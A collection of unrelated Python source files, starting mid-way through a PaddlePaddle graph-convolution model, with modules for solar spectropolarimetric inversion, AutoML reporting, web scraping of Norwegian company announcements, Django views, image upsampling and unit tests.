c_out: # if the size of input channel is less than the output, # padding x to the same size of output channel. pad = fl.fill_constant_batch_size_like( input=x, shape=[-1, T, n, c_out - c_in], dtype="float32", value=0.0) x_input = fl.concat([x, pad], axis=3) else: x_input = x for i in range(Ks): # x_input shape: [B,T, num_nodes, c_out] x_input = fl.reshape(x_input, [-1, c_out]) x_input = self.message_passing( self.gw, x_input, name="%s_mp_%d" % (name, i), norm=self.gw.node_feat["norm"]) x_input = fl.fc(x_input, size=c_out, bias_attr=False, param_attr=fluid.ParamAttr(name="%s_gcn_fc_%d" % (name, i))) bias = fluid.layers.create_parameter( shape=[c_out], dtype='float32', is_bias=True, name='%s_gcn_bias_%d' % (name, i)) x_input = fluid.layers.elementwise_add(x_input, bias, act="relu") x_input = fl.reshape(x_input, [-1, T, n, c_out]) return x_input def message_passing(self, gw, feature, name, norm=None): """Message passing layer""" def send_src_copy(src_feat, dst_feat, edge_feat): """send function""" return src_feat["h"] * edge_feat['w'] if norm is not None: feature = feature * norm msg = gw.send( send_src_copy, nfeat_list=[("h", feature)], efeat_list=[('w', gw.edge_feat['weights'])]) output = gw.recv(msg, "sum") if norm is not None: output = output * norm return output def output_layer(self, x, T, name, act_func='GLU'): """Output layer""" _, _, n, channel = x.shape # maps multi-steps to one. x_i = self.temporal_conv_layer( x=x, Kt=T, c_in=channel, c_out=channel, name="%s_in" % name, act_func=act_func) x_ln = fl.layer_norm(x_i) x_o = self.temporal_conv_layer( x=x_ln, Kt=1, c_in=channel, c_out=channel, name="%s_out" % name, act_func='sigmoid') # maps multi-channels to one. x_fc = self.fully_con_layer( x=x_o, n=n, channel=channel, name="%s_fc" % name) return x_fc def fully_con_layer(self, x, n, channel, name): """Fully connected layer""" bt_init = fluid.initializer.ConstantInitializer(value=0.0) bt = fl.create_parameter( shape=[n, 1], dtype="float32", attr=fluid.ParamAttr( name="%s_bt" % name, trainable=True, initializer=bt_init), ) x_conv = fl.conv2d( input=x, num_filters=1, filter_size=[1, 1], stride=[1, 1], padding="SAME", data_format="NHWC", param_attr=fluid.ParamAttr(name="%s_conv2d" % name)) x_conv = x_conv + bt return x_conv
python
import numpy as np import torch import torch.nn as nn import torch.utils.data as data from torch.autograd import Variable from torch.nn.modules.module import _addindent import h5py from tqdm import tqdm import time import argparse # Import all models import model_inversion import vae import model_synthesis class deep_3d_inversion(object): def __init__(self, saveplots=True): self.cuda = torch.cuda.is_available() if (self.cuda): print("Using GPU") else: print("Using CPU") self.device = torch.device("cuda" if self.cuda else "cpu") self.ltau = np.array([0.0,-0.5,-1.0,-1.5,-2.0,-2.5,-3.0]) self.variable = ["T", "v$_z$", "h", "log P", "$(B_x^2-B_y^2)^{1/2}$", "$(B_x B_y)^{1/2}$", "B$_z$"] self.variable_txt = ["T", "vz", "tau", "logP", "sqrtBx2By2", "sqrtBxBy", "Bz"] self.units = ["K", "km s$^{-1}$", "km", "cgs", "kG", "kG", "kG"] self.multiplier = [1.0, 1.e-5, 1.e-5, 1.0, 1.0e-3, 1.0e-3, 1.0e-3] self.z_tau1 = 1300.0 self.saveplots = saveplots self.gammas = 0.001 self.files_weights = '2019-12-11-10:59:53_-lr_0.0003' def load_weights(self, checkpoint=None): self.checkpoint = '{0}.pth'.format(checkpoint) print(" - Defining synthesis NN...") self.model_synth = model_synthesis.block(in_planes=7*7, out_planes=40).to(self.device) print(" - Defining inversion NN...") self.model_inversion = model_inversion.block(in_planes=112*4, out_planes=20).to(self.device) print(" - Defining synthesis VAE...") self.vae_syn = vae.VAE(length=112*4, n_latent=40).to(self.device) print(" - Defining model VAE...") self.vae_mod = vae.VAE(length=7*7, n_latent=20).to(self.device) tmp = self.checkpoint.split('.') f_normal = '{0}.normalization.npz'.format('.'.join(tmp[0:-1])) tmp = np.load(f_normal) self.phys_min, self.phys_max = tmp['minimum'], tmp['maximum'] tmp = torch.load(self.checkpoint, map_location=lambda storage, loc: storage) self.model_synth.load_state_dict(tmp['synth_state_dict']) print(" => loaded checkpoint for synthesis'{}'".format(self.checkpoint)) self.model_synth.eval() self.model_inversion.load_state_dict(tmp['inv_state_dict']) print(" => loaded checkpoint for inversion '{}'".format(self.checkpoint)) self.model_inversion.eval() self.vae_syn.load_state_dict(tmp['vae_syn_state_dict']) print(" => loaded checkpoint for VAE '{}'".format(self.checkpoint)) self.vae_syn.eval() self.vae_mod.load_state_dict(tmp['vae_mod_state_dict']) print(" => loaded checkpoint for VAE '{}'".format(self.checkpoint)) self.vae_mod.eval() def test_hinode(self, parsed): print(f"Reading input file {parsed['input']}") f = h5py.File(parsed['input'], 'r') self.stokes = f['stokes'][:,:,:,:] if (parsed['normalize'] is not None): x0, x1, y0, y1 = parsed['normalize'] print(f"Data will be normalized to median value in box : {x0}-{x1},{y0}-{y1}") stokes_median = np.median(self.stokes[0,x0:x1,y0:y1,0:3]) else: print(f"Data is already normalized") stokes_median = 1.0 f.close() print(f"Transposing data") self.stokes = np.transpose(self.stokes, axes=(0,3,1,2)) _, n_lambda, nx, ny = self.stokes.shape nx_int = nx // 2**4 ny_int = ny // 2**4 nx = nx_int * 2**4 ny = ny_int * 2**4 print(f"Cropping map to range (0,{nx})-(0,{ny}) ") self.stokes = self.stokes[:,:,0:nx,0:ny] print(f"Normalizing data") self.stokes /= stokes_median self.stokes[1,:,:,:] /= 0.1 self.stokes[2,:,:,:] /= 0.1 self.stokes[3,:,:,:] /= 0.1 self.stokes = np.expand_dims(self.stokes.reshape((4*n_lambda,nx,ny)), axis=0) logtau = np.linspace(0.0, -3.0, 70) self.load_weights(checkpoint=self.files_weights) print("Running neural network inversion...") start = time.time() input = torch.as_tensor(self.stokes[0:1,:,:,:].astype('float32')).to(self.device) with torch.no_grad(): output_model_latent = self.model_inversion(input) output_model = self.vae_mod.decode(output_model_latent) output_latent = self.model_synth(output_model) output_stokes = self.vae_syn.decode(output_latent) end = time.time() print(f"Elapsed time : {end-start} s - {1e6*(end-start)/(nx*ny)} us/pixel") # Transform the tensors to numpy arrays and undo the transformation needed for the training print("Saving results") output_model = np.squeeze(output_model.cpu().numpy()) output_model = output_model * (self.phys_max[:,None,None] - self.phys_min[:,None,None]) + self.phys_min[:,None,None] output_model = output_model.reshape((7,7,nx,ny)) # Do the same output_stokes = output_stokes.cpu().numpy() stokes_output = output_stokes[0,:,:,:].reshape((4,112,nx,ny)) stokes_output[1:,:] *= 0.1 stokes_original = self.stokes[0,:,:,:].reshape((4,112,nx,ny)) stokes_original[1:,:] *= 0.1 tmp = '.'.join(self.checkpoint.split('/')[-1].split('.')[0:2]) f = h5py.File(f"{parsed['output']}", 'w') db_logtau = f.create_dataset('tau_axis', self.ltau.shape) db_T = f.create_dataset('T', output_model[0,:,:,:].shape) db_vz = f.create_dataset('vz', output_model[1,:,:,:].shape) db_tau = f.create_dataset('tau', output_model[2,:,:,:].shape) db_logP = f.create_dataset('logP', output_model[3,:,:,:].shape) db_Bx2_By2 = f.create_dataset('sqrt_Bx2_By2', output_model[4,:,:,:].shape) db_BxBy = f.create_dataset('sqrt_BxBy', output_model[5,:,:,:].shape) db_Bz = f.create_dataset('Bz', output_model[6,:,:,:].shape) db_Bx = f.create_dataset('Bx', output_model[4,:,:,:].shape) db_By = f.create_dataset('By', output_model[5,:,:,:].shape) Bx = np.zeros_like(db_Bz[:]) By = np.zeros_like(db_Bz[:]) db_logtau[:] = self.ltau db_T[:] = output_model[0,:,:,:] * self.multiplier[0] db_vz[:] = output_model[1,:,:,:] * self.multiplier[1] db_tau[:] = output_model[2,:,:,:] * self.multiplier[2] db_logP[:] = output_model[3,:,:,:] * self.multiplier[3] db_Bx2_By2[:] = output_model[4,:,:,:] * self.multiplier[4] db_BxBy[:] = output_model[5,:,:,:] * self.multiplier[5] db_Bz[:] = output_model[6,:,:,:] * self.multiplier[6] A = np.sign(db_Bx2_By2[:]) * db_Bx2_By2[:]**2 # I saved sign(Bx^2-By^2) * np.sqrt(Bx^2-By^2) B = np.sign(db_BxBy[:]) * db_BxBy[:]**2 # I saved sign(Bx*By) * np.sqrt(Bx*By) # This quantity is obviously always >=0 D = np.sqrt(A**2 + 4.0*B**2) ind_pos = np.where(B >0) ind_neg = np.where(B < 0) ind_zero = np.where(B == 0) Bx[ind_pos] = np.sign(db_BxBy[:][ind_pos]) * np.sqrt(A[ind_pos] + D[ind_pos]) / np.sqrt(2.0) By[ind_pos] = np.sqrt(2.0) * B[ind_pos] / np.sqrt(1e-1 + A[ind_pos] + D[ind_pos]) Bx[ind_neg] = np.sign(db_BxBy[:][ind_neg]) * np.sqrt(A[ind_neg] + D[ind_neg]) / np.sqrt(2.0) By[ind_neg] = -np.sqrt(2.0) * B[ind_neg] / np.sqrt(1e-1 + A[ind_neg] + D[ind_neg]) Bx[ind_zero] = 0.0 By[ind_zero] = 0.0 db_Bx[:] = Bx db_By[:] = By f.close() if (__name__ == '__main__'): parser = argparse.ArgumentParser(description='Fast 3D LTE inversion of Hinode datasets') parser.add_argument('-i', '--input', default=None, type=str, metavar='INPUT', help='Input file', required=True) parser.add_argument('-o', '--output', default=None, type=str, metavar='OUTPUT', help='Output file', required=True) parser.add_argument('-n', '--normalize', default=None, type=int, nargs='+', metavar='OUTPUT', help='Output file', required=False) parsed = vars(parser.parse_args()) deep_network = deep_3d_inversion(saveplots=False) # ar10933, ar11429, ar11967, qs deep_network.test_hinode(parsed)
python
# -*- coding:utf-8 -*- # Copyright (C) 2020. Huawei Technologies Co., Ltd. All rights reserved. # This program is free software; you can redistribute it and/or modify # it under the terms of the MIT License. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # MIT License for more details. """Report callback defination.""" import logging from .callback import Callback from vega.report import ReportClient from vega.common import ClassFactory, ClassType import vega logger = logging.getLogger(__name__) @ClassFactory.register(ClassType.CALLBACK) class ReportCallback(Callback): """Callback that report records.""" def __init__(self): """Initialize ReportCallback callback.""" super(ReportCallback, self).__init__() self.epoch = 0 self.priority = 280 def before_train(self, logs=None): """Close the connection of report.""" self._update_report() def after_valid(self, logs=None): """Be called after each epoch.""" if self.trainer.config.report_on_valid: self._update_report() def after_epoch(self, epoch, logs=None): """Be called after each epoch.""" self.epoch = epoch self._update_report(epoch) def after_train(self, logs=None): """Close the connection of report.""" record = self._update_report(self.trainer.epochs - 1) if hasattr(record, "rung_id"): self._next_rung(record) def _update_report(self, epoch=0): if self.trainer.standalone: return if not self.trainer.is_chief: return try: record = ReportClient().get_record(self.trainer.step_name, self.trainer.worker_id) except Exception as e: logger.warn(f"failed to update record to report server, message: {e}") return if hasattr(self.trainer.model, '_arch_params_type') and self.trainer.model._arch_params_type: if vega.is_ms_backend(): if hasattr(self.trainer.model, "to_desc"): record.desc = self.trainer.model.to_desc() else: record.desc = self.trainer.model_desc else: record.desc = self.trainer.model.to_desc() if not record.desc: record.desc = self.trainer.model_desc if not record.hps and self.trainer.hps: record.hps = self.trainer.hps try: record = ReportClient().update( self.trainer.step_name, self.trainer.worker_id, desc=record.desc, hps=record.hps, performance=self.trainer.best_performance or self.trainer.performance, objectives=self.trainer.valid_metrics.objectives, epoch=self.trainer.epochs, current_epoch=epoch + 1, num_epochs=self.trainer.epochs, model_path=self.trainer.ext_model if self.trainer.ext_model is not None else self.trainer.model_path, checkpoint_path=self.trainer.checkpoint_file, weights_file=self.trainer.weights_file, runtime=self.trainer.runtime, multi_task=self.trainer.multi_task, ) except Exception as e: logger.warn(f"failed to update record to report server, message: {e}") return logging.debug("report_callback record: {}".format(record.to_dict())) return record def _next_rung(self, record): if self.trainer.standalone: return if not self.trainer.is_chief: return result = ReportClient().request(action="next_rung", **record.to_dict()) logging.debug(f"next rung result: {result}") if not isinstance(result, dict) or "result" not in result or result["result"] != "success": self.trainer._next_rung = False return if result["data"]["rung_id"] is None: self.trainer._next_rung = False return self.trainer._next_rung = True self.trainer._start_epoch = self.trainer.epochs self.trainer.epochs += int(result["data"]["epochs"]) ReportClient().update( step_name=record.step_name, worker_id=record.worker_id, rung_id=int(result["data"]["rung_id"]), num_epochs=self.trainer.epochs, )
python
import os os.environ["TEST_VALUE"] = 'test'
python
from rest_framework import serializers from rest_framework.validators import UniqueTogetherValidator from SecAuthAPI.Core.models import Policy class PolicySerializer(serializers.ModelSerializer): class Meta: model = Policy fields = ('name', 'description', 'content')
python
from typing import Tuple import os import requests import requests.adapters class LocalFileAdapter(requests.adapters.BaseAdapter): """ Protocol Adapter to allow Requests to GET file:/// URLs Example: file:///C:\\path\\to\\open_api_definition.json """ @staticmethod def _check_path(path: str) -> Tuple[int, str]: """Return an HTTP status for the given filesystem path.""" if os.path.isdir(path): return 400, "Path Not A File" elif not os.path.isfile(path): return 404, "File Not Found" else: return 200, "OK" def send(self, request: requests.Request, *args, **kwargs): """Return the file specified by the given request""" path = os.path.normcase(os.path.normpath(request.url[8:])) if not os.path.isabs(path): path = os.path.abspath(path) response = requests.Response() response.status_code, response.reason = self._check_path(path) if response.status_code == 200: response.raw = open(path, "rb") response.url = path response.request = request response.connection = self return response
python
import logging from channels.consumer import SyncConsumer logger = logging.getLogger(__name__) class UserConsumer(SyncConsumer): def user_message(self, message): pass
python
import os from glob import glob data_dirs = ["Training_Batch_Files","Prediction_Batch_files"] for dir in data_dirs: files = glob(dir+r"/*.csv") for filePath in files: print({filePath}) os.system(f"dvc add {filePath}") print("\n#### All files added to dvc ####")
python
_base_ = ['./bc.py'] agent = dict( policy_cfg=dict( type='ContinuousPolicy', policy_head_cfg=dict( type='DeterministicHead', noise_std=1e-5, ), nn_cfg=dict( type='LinearMLP', norm_cfg=None, mlp_spec=['obs_shape', 256, 256, 256, 'action_shape'], bias='auto', inactivated_output=True, linear_init_cfg=dict( type='xavier_init', gain=1, bias=0, ) ), optim_cfg=dict(type='Adam', lr=1e-3), ), )
python
#!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import print_function import urllib import requests from datetime import datetime, timedelta import time import logging from lxml import html from io import StringIO, BytesIO import json """ Author: Anders G. Eriksen """ logger = logging.getLogger(__name__) class Announcements(): def __init__(self): self.BASE_URL = 'https://w2.brreg.no/kunngjoring/' self.SEARCH_BASE_URL = '%s%s' % (self.BASE_URL, 'kombisok.jsp') self.SEARCH_BASE_URL_COMPANY = '%s%s' % (self.BASE_URL, 'hent_nr.jsp') def build_search(self, **kwargs): """ Search announcements https://w2.brreg.no/kunngjoring/kombisok.jsp?datoFra=09.01.2017 &datoTil=&id_region=300&id_fylke=12&&id_kommune=-+-+-&id_niva1=1&id_bransje1=0 """ yesterday = datetime.now() - timedelta(days=1) orgnr = kwargs.get('orgnr', None) #if searching for one company, drop all other params if orgnr: self.search_params = { 'orgnr': orgnr, 'deleted': 'true' } search_url = self.SEARCH_BASE_URL_COMPANY else: self.search_params = { 'datoFra': kwargs.get('datoFra', yesterday.strftime('%d.%m.%Y')), 'datoTil': kwargs.get('datoTil', None), 'id_region': kwargs.get('id_region', 300), 'id_fylke': kwargs.get('id_fylke', 12), 'id_kommune': kwargs.get('id_kommune', None), 'id_niva1': kwargs.get('id_niva1', 1), 'id_niva2': kwargs.get('id_niva2', ''), 'id_niva3': kwargs.get('id_niva3', ''), 'id_bransje1': kwargs.get('id_bransje1', 0), } search_url = self.SEARCH_BASE_URL logger.debug("Sending search request") r = requests.get(search_url, params=self.search_params) return r def _parse_resultstable(self, table, metainfo): data = list() rows = table.xpath('//tr') for row in rows: cols = row.xpath('td') if len(cols) > 4: element = dict() element['name'] = cols[1].text_content().strip() # check if this is a real row or one of the one-word # header rows if element['name'] != '': element['orgnr'] = cols[3].text_content( ).strip().replace(' ', '') #if searching for events on niva3, then table looks different if self.search_params['id_niva3'] != '': element['detail_link'] = '%s%s' % ( self.BASE_URL, cols[1].xpath('.//a/@href')[0]) # event type is not given in table rows, so get from meta element['event'] = metainfo['event'] # when only one date is given, then table looks different elif self.search_params['datoFra'] == self.search_params['datoTil']: element['detail_link'] = '%s%s' % ( self.BASE_URL, cols[5].xpath('.//a/@href')[0]) element['event'] = cols[5].text_content().strip() element['date'] = self.search_params['datoFra'] else: element['detail_link'] = '%s%s' % ( self.BASE_URL, cols[7].xpath('.//a/@href')[0]) element['event'] = cols[7].text_content().strip() element['date'] = cols[5].text_content().strip() data.append(element) return data def _parse_metatable(self, table): keyvalues = table.xpath('.//tr/td//strong/text()') metainfo = dict(zip(['searchdate', 'place', 'event'], keyvalues[1::2])) return metainfo def parse_search(self, result): logger.debug("Parsing") tree = html.fromstring(result.content) # logger.debug(result.text) tables = tree.xpath('//div[@id="pagecontent"]/table') metainfo = self._parse_metatable(tables[1]) logger.debug('Meta: %s' % metainfo) try: count = int(tables[2].xpath('.//td//strong/text()')[1].strip()) except IndexError: logger.debug('No announcements found') results = [] count = 0 else: logger.debug('Count: %s' % count) results = self._parse_resultstable(tables[3], metainfo) resulttable = tables[3] # logger.debug(results) response = { 'meta': metainfo, 'count': count, 'results': results } return response def search(self, fetch_details=False, **kwargs): results = self.build_search(**kwargs) parsed = self.parse_search(results) if fetch_details is True: res_with_details = [] for obj in parsed['results']: # only if company if len(obj['orgnr']) > 6: logger.debug(obj['detail_link']) details = self.get_single_announcement( obj['detail_link'], obj['event']) obj.update(details) logger.debug(json.dumps(obj, ensure_ascii=False, indent=4)) res_with_details.append(obj) time.sleep(1) parsed['results'] = res_with_details return parsed def text(self, elt): # Are there multiple text elements in the element? text_elements = elt.xpath('./text()') if len(text_elements) > 1: stripped_elements = [t.strip() for t in text_elements] # remove empty strings from list return list(filter(None, stripped_elements)) else: return elt.text_content().replace(u'\xa0', u' ').strip() def _parse_key_value_from_table(self, table): tabledata = {} for tr in table.xpath('.//tr'): tds = tr.xpath('./td') # extract the keys from the first td, remove colon key = tds[0].text_content().strip().replace(':', '') # extract text elements from the rest of the tds in this row for td in tds[1:len(tds)]: tabledata[key] = self.text(td) return tabledata def _parse_single_page(self, html_content, event_type): tree = html.fromstring(html_content) maintable = tree.xpath('//div[@id="pagecontent"]/table')[1] content = {} content_tables = maintable.xpath('.//table') for table in content_tables: tabledata = self._parse_key_value_from_table(table) content.update(tabledata) try: if event_type == 'Konkursåpning': content['bostyrer'] = maintable.xpath('.//tr[6]/td/text()')[1:4] if event_type == 'Avslutning av bobehandling': content['dividende'] = maintable.xpath( './tr/td/span[5]/text()')[0].strip() content['utlodningsdag'] = maintable.xpath( './tr/td/text()')[13] except IndexError as e: content['error'] = str(e) return content def get_single_announcement(self, uri, event_type): r = requests.get(uri) details = self._parse_single_page(r.content, event_type) return details
python
from discord.ext import commands class SmashError(commands.CommandError): def __init__(self, message=None, *args): if message is not None: super().__init__(str(message), *args) else: super().__init__(message, *args)
python
# -*- coding: utf-8 -*- import logging import nltk import hashlib logging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO) logger = logging.getLogger(__name__) class MEDLINESents: def __init__(self, medline_abstracts, output_fname, lowercase=False): self.medline_abstracts = medline_abstracts self.output_fname = output_fname self.sent_tok = nltk.data.load("tokenizers/punkt/english.pickle").tokenize self.lowercase = lowercase self.n = 0 self.d = 0 def process_abstract(self, doc): # Strip starting b' or b" and ending ' or " if (doc[:2] == "b'" and doc[-1] == "'") or (doc[:2] == 'b"' and doc[-1] == '"'): doc = doc[2:-1] # Sentence tokenization for sent in self.sent_tok(doc): if self.lowercase: sent = sent.lower() shash = hashlib.sha256(sent.encode("utf-8")).hexdigest() if not shash in self.hash_set: self.hash_set.add(shash) self.n += 1 yield sent else: self.d += 1 def extract_unique_sentences(self): self.hash_set = set() logger.info("Extracting unique sentences from `{}` ...".format(self.medline_abstracts)) with open(self.medline_abstracts, encoding="utf-8", errors="ignore") as rf, open(self.output_fname, "w") as wf: for idx, abstract in enumerate(rf): if idx % 100000 == 0 and idx != 0: logger.info( "Read %d documents : extracted %d unique sentences (dupes = %d)" % (idx, self.n, self.d)) abstract = abstract.strip() if not abstract: continue for sent in self.process_abstract(abstract): wf.write(sent + "\n") del self.hash_set
python
from django.urls import path from . import views app_name = 'shows' urlpatterns = [ path('', views.IndexView.as_view(), name='home'), path('<slug:slug>/', views.EpisodeView.as_view(), name='episodes') ]
python
from typing import Sequence from mathutils import Quaternion, Vector from xml.etree import ElementTree as et from ..maps.positions import PositionMap from ..maps.rotations import RotationMap class XFrame: def __init__(self, f_time: float, bone_name: str, rotation: Sequence[float], translation: Sequence[float] = None): self.f_time = f_time self.bone_name = bone_name self.rotation = rotation self.translation = translation @staticmethod def compute_actual(default: Quaternion, difference: Quaternion) -> Quaternion: offset = Quaternion((difference.w, -difference.y, difference.z, -difference.x)) actual = default @ offset return actual def compute_rotation(self) -> str: bone_quaternion = Quaternion((self.rotation[0], self.rotation[1], self.rotation[2], self.rotation[3])) if self.bone_name == 'PelvisNode': text = f'{-bone_quaternion.x} {-bone_quaternion.y} {-bone_quaternion.z} {bone_quaternion.w}' else: default_rotation = RotationMap.lookup(self.bone_name) default_quaternion = Quaternion((default_rotation[3], default_rotation[0], default_rotation[2], default_rotation[1])) true_rotation = self.compute_actual(default_quaternion, bone_quaternion) text = f'{true_rotation.x} {true_rotation.z} {true_rotation.y} {true_rotation.w}' return text def compute_translation(self, scale: float) -> str: bone_vector = Vector((self.translation[0], self.translation[1], self.translation[2])) default_translation = Vector(PositionMap.lookup(self.bone_name)) true_translation = (default_translation + bone_vector) * scale return f'{true_translation.x} {true_translation.y} {true_translation.z}' def parse(self, scale: float) -> et.Element: tag = et.Element('keyframe') tag.attrib['time'] = str(self.f_time) if self.translation: trans_tag = et.Element('translation') trans_tag.text = self.compute_translation(scale) tag.append(trans_tag) rot_tag = et.Element('rotation') rot_tag.text = self.compute_rotation() tag.append(rot_tag) return tag
python
import numpy as np import sklearn.svm def dataset3Params(X, y, Xval, yval): """returns your choice of C and sigma. You should complete this function to return the optimal C and sigma based on a cross-validation set. """ # You need to return the following variables correctly. C = 1 sigma = 0.3 # ====================== YOUR CODE HERE ====================== # Instructions: Fill in this function to return the optimal C and sigma # learning parameters found using the cross validation set. # You can use svmPredict to predict the labels on the cross # validation set. For example, # predictions = svmPredict(model, Xval) # will return the predictions on the cross validation set. # # Note: You can compute the prediction error using # mean(double(predictions ~= yval)) # # ========================================================================= return C, sigma
python
# Copyright (c) OpenMMLab. All rights reserved. import numpy as np import torch import torch.nn as nn import torch.nn.functional as F class DynamicUpsamplingFilter(nn.Module): """Dynamic upsampling filter used in DUF. Ref: https://github.com/yhjo09/VSR-DUF. It only supports input with 3 channels. And it applies the same filters to 3 channels. Args: filter_size (tuple): Filter size of generated filters. The shape is (kh, kw). Default: (5, 5). """ def __init__(self, filter_size=(5, 5)): super().__init__() if not isinstance(filter_size, tuple): raise TypeError('The type of filter_size must be tuple, ' f'but got type{filter_size}') if len(filter_size) != 2: raise ValueError('The length of filter size must be 2, ' f'but got {len(filter_size)}.') # generate a local expansion filter, similar to im2col self.filter_size = filter_size filter_prod = np.prod(filter_size) expansion_filter = torch.eye(int(filter_prod)).view( filter_prod, 1, *filter_size) # (kh*kw, 1, kh, kw) self.expansion_filter = expansion_filter.repeat( 3, 1, 1, 1) # repeat for all the 3 channels def forward(self, x, filters): """Forward function for DynamicUpsamplingFilter. Args: x (Tensor): Input image with 3 channels. The shape is (n, 3, h, w). filters (Tensor): Generated dynamic filters. The shape is (n, filter_prod, upsampling_square, h, w). filter_prod: prod of filter kenrel size, e.g., 1*5*5=25. upsampling_square: similar to pixel shuffle, upsampling_square = upsampling * upsampling e.g., for x 4 upsampling, upsampling_square= 4*4 = 16 Returns: Tensor: Filtered image with shape (n, 3*upsampling, h, w) """ n, filter_prod, upsampling_square, h, w = filters.size() kh, kw = self.filter_size expanded_input = F.conv2d( x, self.expansion_filter.to(x), padding=(kh // 2, kw // 2), groups=3) # (n, 3*filter_prod, h, w) expanded_input = expanded_input.view(n, 3, filter_prod, h, w).permute( 0, 3, 4, 1, 2) # (n, h, w, 3, filter_prod) filters = filters.permute( 0, 3, 4, 1, 2) # (n, h, w, filter_prod, upsampling_square] out = torch.matmul(expanded_input, filters) # (n, h, w, 3, upsampling_square) return out.permute(0, 3, 4, 1, 2).view(n, 3 * upsampling_square, h, w)
python
""" Jax integration. Importing this module registers the Jax backend with `phi.math`. Without this, Jax tensors cannot be handled by `phi.math` functions. To make Jax the default backend, import `phi.jax.flow`. """ from phi import math as _math try: from ._jax_backend import JaxBackend as _JaxBackend JAX = _JaxBackend() """Backend for Jax operations.""" _math.backend.BACKENDS.append(JAX) except ImportError: pass __all__ = [key for key in globals().keys() if not key.startswith('_')]
python
from .vgg16 import get_vgg from .vgg16_deconv import get_vgg_deconv from .utils import get_image, store_feature, visualize_layer
python
from unittest import TestCase, main from unittest.mock import * from src.sample.friendShips import FriendShips from src.sample.friendShipsStorage import FriendStorage class testFriendShipsStorage(TestCase): def test_are_friend(self): objectFriend = FriendShips() objectFriend.dict = {"Przemek": ["Ala", "Basia", "Piotrek"]} objectFriend.areFriends = MagicMock() objectFriend.areFriends.return_value = "Basia is friend Przemek" objectStorage = FriendStorage() objectStorage.storage = objectFriend result = objectStorage.areFriends("Basia", "Przemek") self.assertEqual(result, "Basia is friend Przemek") def test_are_not_friend(self): objectFriend = FriendShips() objectFriend.dict = {"Przemek": ["Ala", "Basia", "Piotrek"]} objectFriend.areFriends = MagicMock() objectFriend.areFriends.return_value = "Andrzej is not friend Przemek" objectStorage = FriendStorage() objectStorage.storage = objectFriend result = objectStorage.areFriends("Andrzej", "Przemek") self.assertEqual(result, "Andrzej is not friend Przemek") def test_get_friends_list(self): objectFriend = FriendShips() objectFriend.dict = {"Przemek": ["Ala", "Basia", "Piotrek"]} objectFriend.getFriendsList = MagicMock() objectFriend.getFriendsList.return_value = ["Ala", "Basia", "Piotrek"] objectStorage = FriendStorage() objectStorage.storage = objectFriend result = objectStorage.getFriendsList("Przemek") self.assertEqual(result, ["Ala", "Basia", "Piotrek"]) def test_get_friends_list_lack_person(self): objectFriend = FriendShips() objectFriend.dict = {"Przemek": ["Ala", "Basia", "Piotrek"]} objectFriend.areFriends = MagicMock() objectFriend.areFriends.side_effect = Exception("This person not exist") objectStorage = FriendStorage() objectStorage.storage = objectFriend result = objectStorage.getFriendsList self.assertRaisesRegex(Exception, "This person not exist", result, "Adam") def test_make_friends(self): objectStorage = FriendStorage() objectStorage.storage = MagicMock() objectStorage.makeFriends("Maciek", "Bartek") objectStorage.storage.makeFriends.assert_called_with("Maciek", "Bartek") def test_make_friends_add_friend(self): objectFriend = FriendShips() objectFriend.dict = {"Przemek": ["Ala"]} objectFriend.makeFriends = MagicMock() objectFriend.makeFriends.return_value = {"Przemek": ["Ala", "Bartek"], "Bartek": ["Przemek"]} objectStorage = FriendStorage() objectStorage.storage = objectFriend result = objectStorage.makeFriends("Przemek", "Bartek") self.assertEqual(result, {"Przemek": ["Ala", "Bartek"], "Bartek": ["Przemek"]}) objectStorage.storage.makeFriends.assert_called_with("Przemek", "Bartek") def test_make_friend_bad_type(self): objectFriend = FriendShips() objectFriend.makeFriends = MagicMock() objectFriend.makeFriends.side_effect = TypeError("People have to be type string") objectStorage = FriendStorage() objectStorage.storage = objectFriend result = objectStorage.makeFriends self.assertRaisesRegex(TypeError, "People have to be type string", result, "Maciek", False) if __name__ == '__main__': main()
python
# pylint: disable=redefined-outer-name # pylint: disable=unused-argument # pylint: disable=unused-variable from pathlib import Path import yaml from pydantic import BaseModel from service_integration.compose_spec_model import BuildItem, Service from service_integration.osparc_config import MetaConfig, RuntimeConfig from service_integration.osparc_image_specs import create_image_spec def test_create_image_spec_impl(tests_data_dir: Path): # have image spec -> assemble build part of the compose-spec -> ready to build with `docker-compose build` # image-spec for devel, prod, ... # load & parse osparc configs meta_cfg = MetaConfig.from_yaml(tests_data_dir / "metadata-dynamic.yml") runtime_cfg = RuntimeConfig.from_yaml(tests_data_dir / "runtime.yml") # assemble docker-compose build_spec = BuildItem( context=".", dockerfile="Dockerfile", labels={ **meta_cfg.to_labels_annotations(), **runtime_cfg.to_labels_annotations(), }, ) compose_spec = create_image_spec(meta_cfg, runtime_cfg) assert compose_spec.services is not None assert isinstance(compose_spec.services, dict) service_name = list(compose_spec.services.keys())[0] # pylint: disable=unsubscriptable-object assert isinstance(compose_spec.services[service_name], Service) build_spec = compose_spec.services[service_name].build assert build_spec assert isinstance(build_spec, BaseModel) print(build_spec.json(exclude_unset=True, indent=2)) print(yaml.safe_dump(compose_spec.dict(exclude_unset=True), sort_keys=False))
python
#BEGIN_HEADER from biokbase.workspace.client import Workspace as workspaceService #END_HEADER class nlh_test_psd_count_contigs: ''' Module Name: nlh_test_psd_count_contigs Module Description: A KBase module: nlh_test_psd_count_contigs This sample module contains one small method - count_contigs. ''' ######## WARNING FOR GEVENT USERS ####### # Since asynchronous IO can lead to methods - even the same method - # interrupting each other, you must be *very* careful when using global # state. A method could easily clobber the state set by another while # the latter method is running. ######################################### #BEGIN_CLASS_HEADER workspaceURL = None #END_CLASS_HEADER # config contains contents of config file in a hash or None if it couldn't # be found def __init__(self, config): #BEGIN_CONSTRUCTOR self.workspaceURL = config['workspace-url'] #END_CONSTRUCTOR pass def count_contigs(self, ctx, workspace_name, contigset_id): # ctx is the context object # return variables are: returnVal #BEGIN count_contigs token = ctx['token'] wsClient = workspaceService(self.workspaceURL, token=token) contigSet = wsClient.get_objects([{'ref': workspace_name+'/'+contigset_id}])[0]['data'] provenance = None if 'provenance' in ctx: provenance = ctx['provenance'] returnVal = {'contig_count': len(contigSet['contigs']), 'provenance': provenance} #END count_contigs # At some point might do deeper type checking... if not isinstance(returnVal, dict): raise ValueError('Method count_contigs return value ' + 'returnVal is not type dict as required.') # return the results return [returnVal]
python
